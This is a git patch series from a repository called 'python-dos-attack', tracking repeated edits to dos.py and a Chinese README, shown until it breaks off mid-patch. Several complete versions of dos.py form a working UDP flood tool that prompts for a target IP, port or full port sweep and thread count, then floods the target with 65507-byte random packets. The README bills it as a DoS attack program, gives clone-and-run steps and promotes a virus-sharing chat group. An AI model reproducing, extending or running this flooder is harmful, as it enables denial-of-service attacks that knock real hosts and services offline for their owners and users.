From 474eb6390051d8ccb6e530e01f8a8d967f5b38ad Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 13:08:10 +0800 Subject: [PATCH 01/38] Update dos.py MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Python3 dos工具 v1.0 --- dos.py | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/dos.py b/dos.py index f3a8425..2f76ec6 100644 --- a/dos.py +++ b/dos.py @@ -1,18 +1,9 @@ -import sys import os -import time import socket import threading from time import sleep from random import randbytes , _urandom -from datetime import datetime -now = datetime.now() -hour = now.hour -minute = now.minute -day = now.day -month = now.month -year = now.year sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) os.system("clear") @@ -90,4 +81,4 @@ def dos_2(bytes , ip): elif mode == "2": for i in range(sc): dos_2_sc = threading.Thread(target = dos_2 , args = (bytes , ip)) - dos_2_sc.start() \ No newline at end of file + dos_2_sc.start() From f9c6c4048fac978edb7f04e5298d1ef0ee0566a8 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 13:20:06 +0800 Subject: [PATCH 02/38] Update README.md --- README.md | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 6429fa2..4c0d3c1 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,14 @@ # python-dos-attack -Python3x -dos攻击程序 +* Python3x -建议使用python3.11或更高的版本 -作者:WindowsKin -电脑病毒分享/研究QQ群号:994328113 +* dos攻击程序 -抖音号:WindowsKin +* 建议使用python3.12或更高的版本 + + +# 作者:WindowsKin + +# 电脑病毒分享/研究QQ群号:994328113 + + +# 抖音号:WindowsKin From db766ac31f900d15f6249583b3e37dfc4baecce2 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 13:27:21 +0800 Subject: [PATCH 03/38] Update README.md --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 4c0d3c1..a249b7e 100644 --- a/README.md +++ b/README.md @@ -5,6 +5,10 @@ * 建议使用python3.12或更高的版本 +* 作者github : https://github.com/WindowsKin + +* 在终端输入 git clone https://github.com/WindowsKin/python-dos-attack.git 克隆项目代码 +* 输入 python3 dos.py 运行python-dos-attack # 作者:WindowsKin From 26d8cb7da9c847e8de6e1b21766bdec0898f5776 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 13:29:32 +0800 Subject: [PATCH 04/38] Update dos.py --- dos.py | 83 ---------------------------------------------------------- 1 file changed, 83 deletions(-) diff --git a/dos.py b/dos.py index 2f76ec6..8b13789 100644 --- a/dos.py +++ b/dos.py @@ -1,84 +1 @@ -import os -import socket -import threading -from time import sleep -from random import randbytes , _urandom -sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - -os.system("clear") -ip = input(""" -Python3 dos工具 - -提示:需要强劲的电脑,起步条件CPU 8核以上,内存条8GB以上,才能达到预期效果!!! - -作者 : WindowsKin -版本 : V1.0 - -请输入 IP : """) -mode_p = input(""" -1.字节数据 -2.数据包 -请输入攻击类型 : """) -if mode_p == "1": - bytes = randbytes(65507) -elif mode_p == "2": - bytes = _urandom(65507) -else: - print('检测到你输入了无效内容,已以为你选择默认值"2"') - sleep(2) - bytes = _urandom(65507) -mode = input(""" -1.从指定端口进行攻击 -2.从端口 1 ~ 65534 依次进行循坏攻击 -请输入攻击方式 : """) -if mode == "1": - port = int(input("请输入 端口 : ")) -elif mode != "2": - print('检测到你输入了无效内容,已以为你选择默认值"2"') - sleep(2) - mode = "2" -try: - sc = int(input("请输入 线程数量(不能为0) : ")) - if sc == 0: - print('检测到你输入了无效内容,已以为你选择默认值"1"') - sleep(2) - sc = 1 -except ValueError: - print('检测到你输入了无效内容,已以为你选择默认值"1"') - sleep(2) - sc = 1 -os.system("clear") - -if mode == "1": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") -elif mode == "2": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") - -def dos_1(bytes , ip , port): - while True: - try: - sock.sendto(bytes , (ip , port)) - except OSError: - pass - -def dos_2(bytes , ip): - port = 4444 - while True: - try: - sock.sendto(bytes , (ip , port)) - if port == 65534: - port = 1 - else: - port += 1 - except OSError: - pass - -if mode == "1": - for i in range(sc): - dos_1_sc = threading.Thread(target = dos_1 , args = (bytes , ip , port)) - dos_1_sc.start() -elif mode == "2": - for i in range(sc): - dos_2_sc = threading.Thread(target = dos_2 , args = (bytes , ip)) - dos_2_sc.start() From df7f8040730aec01babfa2c2f0010c658af0fce4 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 13:30:38 +0800 Subject: [PATCH 05/38] Delete dos.py --- dos.py | 1 - 1 file changed, 1 deletion(-) delete mode 100644 dos.py diff --git a/dos.py b/dos.py deleted file mode 100644 index 8b13789..0000000 --- a/dos.py +++ /dev/null @@ -1 +0,0 @@ - From 4ced04f9d32bdc6b86e26d25e7a0571ab74878f1 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 13:34:16 +0800 Subject: [PATCH 06/38] Update README.md From 89b67c70f8e6d69e24e7c822315f83e8c195be9c Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 13:34:56 +0800 Subject: [PATCH 07/38] Update README.md From 6e78dfc652648c16ecad91d8c7deb0ea91357b28 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 13:36:04 +0800 Subject: [PATCH 08/38] Update README.md From 5ba08deb55c39459b03063b0c3b9d54fa4898549 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 13:37:02 +0800 Subject: [PATCH 09/38] Update README.md From c1467ae03fed1915ef3aa4ee4d2ffe0e002b4436 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 13:37:58 +0800 Subject: [PATCH 10/38] Update README.md From 569bbe8cc5a653c80b76fc87aca672d5c73c2dbd Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 13:38:42 +0800 Subject: [PATCH 11/38] Delete README.md --- README.md | 18 ------------------ 1 file changed, 18 deletions(-) delete mode 100644 README.md diff --git a/README.md b/README.md deleted file mode 100644 index a249b7e..0000000 --- a/README.md +++ /dev/null @@ -1,18 +0,0 @@ -# python-dos-attack -* Python3x - -* dos攻击程序 - -* 建议使用python3.12或更高的版本 - -* 作者github : https://github.com/WindowsKin - -* 在终端输入 git clone https://github.com/WindowsKin/python-dos-attack.git 克隆项目代码 -* 输入 python3 dos.py 运行python-dos-attack - -# 作者:WindowsKin - -# 电脑病毒分享/研究QQ群号:994328113 - - -# 抖音号:WindowsKin From 31e7308757910a80b1681712f87f383e89c35fb5 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 13:39:06 +0800 Subject: [PATCH 12/38] Create README.md --- README.md | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 README.md diff --git a/README.md b/README.md new file mode 100644 index 0000000..a249b7e --- /dev/null +++ b/README.md @@ -0,0 +1,18 @@ +# python-dos-attack +* Python3x + +* dos攻击程序 + +* 建议使用python3.12或更高的版本 + +* 作者github : https://github.com/WindowsKin + +* 在终端输入 git clone https://github.com/WindowsKin/python-dos-attack.git 克隆项目代码 +* 输入 python3 dos.py 运行python-dos-attack + +# 作者:WindowsKin + +# 电脑病毒分享/研究QQ群号:994328113 + + +# 抖音号:WindowsKin From c2da9ae4079b1eb741f4fff706dd8f7da78a5102 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 13:41:54 +0800 Subject: [PATCH 13/38] Add files via upload --- dos.py | 100 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 100 insertions(+) create mode 100644 dos.py diff --git a/dos.py b/dos.py new file mode 100644 index 0000000..9159c21 --- /dev/null +++ b/dos.py @@ -0,0 +1,100 @@ +from socket import socket , AF_INET , SOCK_DGRAM +from threading import Thread +from os import system , name +from time import sleep +from random import randbytes , _urandom + +sock = socket(AF_INET , SOCK_DGRAM) + +if name == "nt": + def clear_shell(): + system("cls") +else: + def clear_shell(): + system("clear") + +clear_shell() +ip = input(""" +Python3 dos工具 + +作者 : WindowsKin +版本 : V1.0 + +请输入 IP : """) +mode_p = input(""" +1.字节数据 +2.数据包 +请输入攻击类型 : """) +if mode_p == "1": + bytes = randbytes(65507) +elif mode_p == "2": + bytes = _urandom(65507) +else: + print('检测到你输入了无效内容,已以为你选择默认值"2"') + sleep(2) + bytes = _urandom(65507) +mode = input(""" +1.从指定端口进行攻击 +2.从端口 1 ~ 65534 循环遍历进行攻击 +请输入攻击方式 : """) +if mode == "1": + while True: + try: + port = int(input("请输入 端口 : ")) + if port > 65535 or port < 0: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + continue + except ValueError: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + else: + break +elif mode != "2": + print('检测到你输入了无效内容,已以为你选择默认值"2"') + sleep(2) + mode = "2" +try: + sc = int(input("请输入 线程数量(不能为0) : ")) + if sc == 0: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + sc = 1 +except ValueError: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + sc = 1 +clear_shell() + +if mode == "1": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") +elif mode == "2": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") + +def dos_1(bytes , ip , port): + while True: + try: + sock.sendto(bytes , (ip , port)) + except: + pass + +def dos_2(bytes , ip): + port = 4444 + while True: + try: + sock.sendto(bytes , (ip , port)) + if port == 65535: + port = 0 + else: + port += 1 + except: + pass + +if mode == "1": + for i in range(sc): + dos_sc = Thread(target = dos_1 , args = (bytes , ip , port)) + dos_sc.start() +elif mode == "2": + for i in range(sc): + dos_sc = Thread(target = dos_2 , args = (bytes , ip)) + dos_sc.start() \ No newline at end of file From 8299e87234546c8d9381909c0e636e8cadf6309e Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 13:45:22 +0800 Subject: [PATCH 14/38] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index a249b7e..cddd64f 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@ # python-dos-attack -* Python3x +* Python3.11x * dos攻击程序 From ff7b350c371a080a9ae71aa6fcd348594d63b57f Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 18:21:20 +0800 Subject: [PATCH 15/38] Delete dos.py --- dos.py | 100 --------------------------------------------------------- 1 file changed, 100 deletions(-) delete mode 100644 dos.py diff --git a/dos.py b/dos.py deleted file mode 100644 index 9159c21..0000000 --- a/dos.py +++ /dev/null @@ -1,100 +0,0 @@ -from socket import socket , AF_INET , SOCK_DGRAM -from threading import Thread -from os import system , name -from time import sleep -from random import randbytes , _urandom - -sock = socket(AF_INET , SOCK_DGRAM) - -if name == "nt": - def clear_shell(): - system("cls") -else: - def clear_shell(): - system("clear") - -clear_shell() -ip = input(""" -Python3 dos工具 - -作者 : WindowsKin -版本 : V1.0 - -请输入 IP : """) -mode_p = input(""" -1.字节数据 -2.数据包 -请输入攻击类型 : """) -if mode_p == "1": - bytes = randbytes(65507) -elif mode_p == "2": - bytes = _urandom(65507) -else: - print('检测到你输入了无效内容,已以为你选择默认值"2"') - sleep(2) - bytes = _urandom(65507) -mode = input(""" -1.从指定端口进行攻击 -2.从端口 1 ~ 65534 循环遍历进行攻击 -请输入攻击方式 : """) -if mode == "1": - while True: - try: - port = int(input("请输入 端口 : ")) - if port > 65535 or port < 0: - print("检测到你输入了无效内容,请重新输入") - sleep(2) - continue - except ValueError: - print("检测到你输入了无效内容,请重新输入") - sleep(2) - else: - break -elif mode != "2": - print('检测到你输入了无效内容,已以为你选择默认值"2"') - sleep(2) - mode = "2" -try: - sc = int(input("请输入 线程数量(不能为0) : ")) - if sc == 0: - print('检测到你输入了无效内容,已以为你选择默认值"1"') - sleep(2) - sc = 1 -except ValueError: - print('检测到你输入了无效内容,已以为你选择默认值"1"') - sleep(2) - sc = 1 -clear_shell() - -if mode == "1": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") -elif mode == "2": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") - -def dos_1(bytes , ip , port): - while True: - try: - sock.sendto(bytes , (ip , port)) - except: - pass - -def dos_2(bytes , ip): - port = 4444 - while True: - try: - sock.sendto(bytes , (ip , port)) - if port == 65535: - port = 0 - else: - port += 1 - except: - pass - -if mode == "1": - for i in range(sc): - dos_sc = Thread(target = dos_1 , args = (bytes , ip , port)) - dos_sc.start() -elif mode == "2": - for i in range(sc): - dos_sc = Thread(target = dos_2 , args = (bytes , ip)) - dos_sc.start() \ No newline at end of file From efcf219bd79d45a0b15c5d871437d671e195a765 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 18:21:45 +0800 Subject: [PATCH 16/38] Add files via upload --- dos.py | 106 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 106 insertions(+) create mode 100644 dos.py diff --git a/dos.py b/dos.py new file mode 100644 index 0000000..3c780c5 --- /dev/null +++ b/dos.py @@ -0,0 +1,106 @@ +from socket import socket , AF_INET , SOCK_DGRAM +from threading import Thread +from os import system , name +from time import sleep +from random import randbytes , _urandom + +condition = True +sock = socket(AF_INET , SOCK_DGRAM) + +if name == "nt": + def clear_shell(): + system("cls") +else: + def clear_shell(): + system("clear") + +clear_shell() +ip = input(""" +Python3 dos工具 + +作者 : WindowsKin +版本 : V1.1 + +请输入 IP : """) +mode_p = input(""" +1.字节数据 +2.数据包 +请输入攻击类型 : """) +if mode_p == "1": + bytes = randbytes(65507) +elif mode_p == "2": + bytes = _urandom(65507) +else: + print('检测到你输入了无效内容,已以为你选择默认值"2"') + sleep(2) + bytes = _urandom(65507) +mode = input(""" +1.从指定端口进行攻击 +2.从端口 1 ~ 65534 循环遍历进行攻击 +请输入攻击方式 : """) +if mode == "1": + while True: + try: + port = int(input("请输入 端口 : ")) + if port > 65535 or port < 0: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + continue + except ValueError: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + else: + break +elif mode != "2": + print('检测到你输入了无效内容,已以为你选择默认值"2"') + sleep(2) + mode = "2" +try: + sc = int(input("请输入 线程数量(不能为0) : ")) + if sc == 0: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + sc = 1 +except ValueError: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + sc = 1 +clear_shell() + +if mode == "1": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") +elif mode == "2": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") + +def dos_1(bytes , ip , port): + global condition + while condition: + try: + sock.sendto(bytes , (ip , port)) + except: + pass + +def dos_2(bytes , ip): + global condition + port = 4444 + while condition: + try: + sock.sendto(bytes , (ip , port)) + if port == 65535: + port = 0 + else: + port += 1 + except: + pass + +if mode == "1": + for i in range(sc): + dos_sc = Thread(target = dos_1 , args = (bytes , ip , port)) + dos_sc.start() +elif mode == "2": + for i in range(sc): + dos_sc = Thread(target = dos_2 , args = (bytes , ip)) + dos_sc.start() + +input("按Enter键停止攻击") +condition = False \ No newline at end of file From 0c8802f2e9d6e03f82952ca255d0ea3a3328a0bd Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 18:23:10 +0800 Subject: [PATCH 17/38] Delete dos.py --- dos.py | 106 --------------------------------------------------------- 1 file changed, 106 deletions(-) delete mode 100644 dos.py diff --git a/dos.py b/dos.py deleted file mode 100644 index 3c780c5..0000000 --- a/dos.py +++ /dev/null @@ -1,106 +0,0 @@ -from socket import socket , AF_INET , SOCK_DGRAM -from threading import Thread -from os import system , name -from time import sleep -from random import randbytes , _urandom - -condition = True -sock = socket(AF_INET , SOCK_DGRAM) - -if name == "nt": - def clear_shell(): - system("cls") -else: - def clear_shell(): - system("clear") - -clear_shell() -ip = input(""" -Python3 dos工具 - -作者 : WindowsKin -版本 : V1.1 - -请输入 IP : """) -mode_p = input(""" -1.字节数据 -2.数据包 -请输入攻击类型 : """) -if mode_p == "1": - bytes = randbytes(65507) -elif mode_p == "2": - bytes = _urandom(65507) -else: - print('检测到你输入了无效内容,已以为你选择默认值"2"') - sleep(2) - bytes = _urandom(65507) -mode = input(""" -1.从指定端口进行攻击 -2.从端口 1 ~ 65534 循环遍历进行攻击 -请输入攻击方式 : """) -if mode == "1": - while True: - try: - port = int(input("请输入 端口 : ")) - if port > 65535 or port < 0: - print("检测到你输入了无效内容,请重新输入") - sleep(2) - continue - except ValueError: - print("检测到你输入了无效内容,请重新输入") - sleep(2) - else: - break -elif mode != "2": - print('检测到你输入了无效内容,已以为你选择默认值"2"') - sleep(2) - mode = "2" -try: - sc = int(input("请输入 线程数量(不能为0) : ")) - if sc == 0: - print('检测到你输入了无效内容,已以为你选择默认值"1"') - sleep(2) - sc = 1 -except ValueError: - print('检测到你输入了无效内容,已以为你选择默认值"1"') - sleep(2) - sc = 1 -clear_shell() - -if mode == "1": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") -elif mode == "2": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") - -def dos_1(bytes , ip , port): - global condition - while condition: - try: - sock.sendto(bytes , (ip , port)) - except: - pass - -def dos_2(bytes , ip): - global condition - port = 4444 - while condition: - try: - sock.sendto(bytes , (ip , port)) - if port == 65535: - port = 0 - else: - port += 1 - except: - pass - -if mode == "1": - for i in range(sc): - dos_sc = Thread(target = dos_1 , args = (bytes , ip , port)) - dos_sc.start() -elif mode == "2": - for i in range(sc): - dos_sc = Thread(target = dos_2 , args = (bytes , ip)) - dos_sc.start() - -input("按Enter键停止攻击") -condition = False \ No newline at end of file From 287ebd1365489939ef0184f179f68729ff585f45 Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 18:23:30 +0800 Subject: [PATCH 18/38] Add files via upload --- dos.py | 105 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 105 insertions(+) create mode 100644 dos.py diff --git a/dos.py b/dos.py new file mode 100644 index 0000000..ad81409 --- /dev/null +++ b/dos.py @@ -0,0 +1,105 @@ +from socket import socket , AF_INET , SOCK_DGRAM +from threading import Thread +from os import system , name +from time import sleep +from random import randbytes , _urandom + +condition = True +sock = socket(AF_INET , SOCK_DGRAM) + +if name == "nt": + def clear_shell(): + system("cls") +else: + def clear_shell(): + system("clear") + +clear_shell() +ip = input(""" +Python3 dos工具 + +作者 : WindowsKin + +请输入 IP : """) +mode_p = input(""" +1.字节数据 +2.数据包 +请输入攻击类型 : """) +if mode_p == "1": + bytes = randbytes(65507) +elif mode_p == "2": + bytes = _urandom(65507) +else: + print('检测到你输入了无效内容,已以为你选择默认值"2"') + sleep(2) + bytes = _urandom(65507) +mode = input(""" +1.从指定端口进行攻击 +2.从端口 1 ~ 65534 循环遍历进行攻击 +请输入攻击方式 : """) +if mode == "1": + while True: + try: + port = int(input("请输入 端口 : ")) + if port > 65535 or port < 0: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + continue + except ValueError: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + else: + break +elif mode != "2": + print('检测到你输入了无效内容,已以为你选择默认值"2"') + sleep(2) + mode = "2" +try: + sc = int(input("请输入 线程数量(不能为0) : ")) + if sc == 0: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + sc = 1 +except ValueError: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + sc = 1 +clear_shell() + +if mode == "1": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") +elif mode == "2": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") + +def dos_1(bytes , ip , port): + global condition + while condition: + try: + sock.sendto(bytes , (ip , port)) + except: + pass + +def dos_2(bytes , ip): + global condition + port = 4444 + while condition: + try: + sock.sendto(bytes , (ip , port)) + if port == 65535: + port = 0 + else: + port += 1 + except: + pass + +if mode == "1": + for i in range(sc): + dos_sc = Thread(target = dos_1 , args = (bytes , ip , port)) + dos_sc.start() +elif mode == "2": + for i in range(sc): + dos_sc = Thread(target = dos_2 , args = (bytes , ip)) + dos_sc.start() + +input("按Enter键停止攻击") +condition = False \ No newline at end of file From 70fc683604ccab96c44f91a737346a2e5c760d6c Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 23:45:13 +0800 Subject: [PATCH 19/38] Delete dos.py --- dos.py | 105 --------------------------------------------------------- 1 file changed, 105 deletions(-) delete mode 100644 dos.py diff --git a/dos.py b/dos.py deleted file mode 100644 index ad81409..0000000 --- a/dos.py +++ /dev/null @@ -1,105 +0,0 @@ -from socket import socket , AF_INET , SOCK_DGRAM -from threading import Thread -from os import system , name -from time import sleep -from random import randbytes , _urandom - -condition = True -sock = socket(AF_INET , SOCK_DGRAM) - -if name == "nt": - def clear_shell(): - system("cls") -else: - def clear_shell(): - system("clear") - -clear_shell() -ip = input(""" -Python3 dos工具 - -作者 : WindowsKin - -请输入 IP : """) -mode_p = input(""" -1.字节数据 -2.数据包 -请输入攻击类型 : """) -if mode_p == "1": - bytes = randbytes(65507) -elif mode_p == "2": - bytes = _urandom(65507) -else: - print('检测到你输入了无效内容,已以为你选择默认值"2"') - sleep(2) - bytes = _urandom(65507) -mode = input(""" -1.从指定端口进行攻击 -2.从端口 1 ~ 65534 循环遍历进行攻击 -请输入攻击方式 : """) -if mode == "1": - while True: - try: - port = int(input("请输入 端口 : ")) - if port > 65535 or port < 0: - print("检测到你输入了无效内容,请重新输入") - sleep(2) - continue - except ValueError: - print("检测到你输入了无效内容,请重新输入") - sleep(2) - else: - break -elif mode != "2": - print('检测到你输入了无效内容,已以为你选择默认值"2"') - sleep(2) - mode = "2" -try: - sc = int(input("请输入 线程数量(不能为0) : ")) - if sc == 0: - print('检测到你输入了无效内容,已以为你选择默认值"1"') - sleep(2) - sc = 1 -except ValueError: - print('检测到你输入了无效内容,已以为你选择默认值"1"') - sleep(2) - sc = 1 -clear_shell() - -if mode == "1": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") -elif mode == "2": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") - -def dos_1(bytes , ip , port): - global condition - while condition: - try: - sock.sendto(bytes , (ip , port)) - except: - pass - -def dos_2(bytes , ip): - global condition - port = 4444 - while condition: - try: - sock.sendto(bytes , (ip , port)) - if port == 65535: - port = 0 - else: - port += 1 - except: - pass - -if mode == "1": - for i in range(sc): - dos_sc = Thread(target = dos_1 , args = (bytes , ip , port)) - dos_sc.start() -elif mode == "2": - for i in range(sc): - dos_sc = Thread(target = dos_2 , args = (bytes , ip)) - dos_sc.start() - -input("按Enter键停止攻击") -condition = False \ No newline at end of file From 7206d68779b5627d834820544e41fca5e2fc306d Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Sat, 7 Dec 2024 23:45:39 +0800 Subject: [PATCH 20/38] Add files via upload --- dos.py | 123 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 123 insertions(+) create mode 100644 dos.py diff --git a/dos.py b/dos.py new file mode 100644 index 0000000..f783752 --- /dev/null +++ b/dos.py @@ -0,0 +1,123 @@ +from socket import socket , AF_INET , SOCK_DGRAM +from threading import Thread +from os import system , name +from time import sleep +from random import randbytes , _urandom + +condition = True +sock = socket(AF_INET , SOCK_DGRAM) + +def is_valid_ipv4(ip): + parts = ip.split('.') + if len(parts)!= 4: + return False + for part in parts: + try: + num = int(part) + if num < 0 or num > 255: + return False + except ValueError: + return False + return True +if name == "nt": + def clear_shell(): + system("cls") +else: + def clear_shell(): + system("clear") + +clear_shell() +print(""" +Python3 dos工具 + +作者 : WindowsKin +""") +while True: + ip = input("请输入 IP : ") + if not is_valid_ipv4(ip): + print("检测到你输入了无效内容,请重新输入") + sleep(2) + continue + break +mode_p = input(""" +1.字节数据 +2.数据包 +请输入攻击类型 : """) +if mode_p == "1": + bytes = randbytes(65507) +elif mode_p == "2": + bytes = _urandom(65507) +else: + print('检测到你输入了无效内容,已以为你选择默认值"2"') + sleep(2) + bytes = _urandom(65507) +mode = input(""" +1.从指定端口进行攻击 +2.从端口 1 ~ 65534 循环遍历进行攻击 +请输入攻击方式 : """) +if mode == "1": + while True: + try: + port = int(input("请输入 端口 : ")) + if port > 65535 or port < 0: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + continue + except ValueError: + print("检测到你输入了无效内容,请重新输入") + sleep(2) + else: + break +elif mode != "2": + print('检测到你输入了无效内容,已以为你选择默认值"2"') + sleep(2) + mode = "2" +try: + sc = int(input("请输入 线程数量(不能为0) : ")) + if sc == 0: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + sc = 1 +except ValueError: + print('检测到你输入了无效内容,已以为你选择默认值"1"') + sleep(2) + sc = 1 +clear_shell() + +if mode == "1": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") +elif mode == "2": + print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") + +def dos_1(bytes , ip , port): + global condition + while condition: + try: + sock.sendto(bytes , (ip , port)) + except: + pass + +def dos_2(bytes , ip): + global condition + port = 4444 + while condition: + try: + sock.sendto(bytes , (ip , port)) + if port == 65535: + port = 0 + else: + port += 1 + except: + pass + +if mode == "1": + for i in range(sc): + dos_sc = Thread(target = dos_1 , args = (bytes , ip , port)) + dos_sc.start() +elif mode == "2": + for i in range(sc): + dos_sc = Thread(target = dos_2 , args = (bytes , ip)) + dos_sc.start() + +input("按Enter键停止攻击") +condition = False \ No newline at end of file From 24ccc482f617483d5a176c6334dedb987ad97f8a Mon Sep 17 00:00:00 2001 From: WindowsKin <166627933+WindowsKin@users.noreply.github.com> Date: Fri, 13 Dec 2024 18:01:14 +0800 Subject: [PATCH 21/38] Delete dos.py --- dos.py | 123 --------------------------------------------------------- 1 file changed, 123 deletions(-) delete mode 100644 dos.py diff --git a/dos.py b/dos.py deleted file mode 100644 index f783752..0000000 --- a/dos.py +++ /dev/null @@ -1,123 +0,0 @@ -from socket import socket , AF_INET , SOCK_DGRAM -from threading import Thread -from os import system , name -from time import sleep -from random import randbytes , _urandom - -condition = True -sock = socket(AF_INET , SOCK_DGRAM) - -def is_valid_ipv4(ip): - parts = ip.split('.') - if len(parts)!= 4: - return False - for part in parts: - try: - num = int(part) - if num < 0 or num > 255: - return False - except ValueError: - return False - return True -if name == "nt": - def clear_shell(): - system("cls") -else: - def clear_shell(): - system("clear") - -clear_shell() -print(""" -Python3 dos工具 - -作者 : WindowsKin -""") -while True: - ip = input("请输入 IP : ") - if not is_valid_ipv4(ip): - print("检测到你输入了无效内容,请重新输入") - sleep(2) - continue - break -mode_p = input(""" -1.字节数据 -2.数据包 -请输入攻击类型 : """) -if mode_p == "1": - bytes = randbytes(65507) -elif mode_p == "2": - bytes = _urandom(65507) -else: - print('检测到你输入了无效内容,已以为你选择默认值"2"') - sleep(2) - bytes = _urandom(65507) -mode = input(""" -1.从指定端口进行攻击 -2.从端口 1 ~ 65534 循环遍历进行攻击 -请输入攻击方式 : """) -if mode == "1": - while True: - try: - port = int(input("请输入 端口 : ")) - if port > 65535 or port < 0: - print("检测到你输入了无效内容,请重新输入") - sleep(2) - continue - except ValueError: - print("检测到你输入了无效内容,请重新输入") - sleep(2) - else: - break -elif mode != "2": - print('检测到你输入了无效内容,已以为你选择默认值"2"') - sleep(2) - mode = "2" -try: - sc = int(input("请输入 线程数量(不能为0) : ")) - if sc == 0: - print('检测到你输入了无效内容,已以为你选择默认值"1"') - sleep(2) - sc = 1 -except ValueError: - print('检测到你输入了无效内容,已以为你选择默认值"1"') - sleep(2) - sc = 1 -clear_shell() - -if mode == "1": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口") -elif mode == "2": - print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}") - -def dos_1(bytes , ip , port): - global condition - while condition: - try: - sock.sendto(bytes , (ip , port)) - except: - pass - -def dos_2(bytes , ip): - global condition - port = 4444 - while condition: - try: - sock.sendto(bytes , (ip , port)) - if port 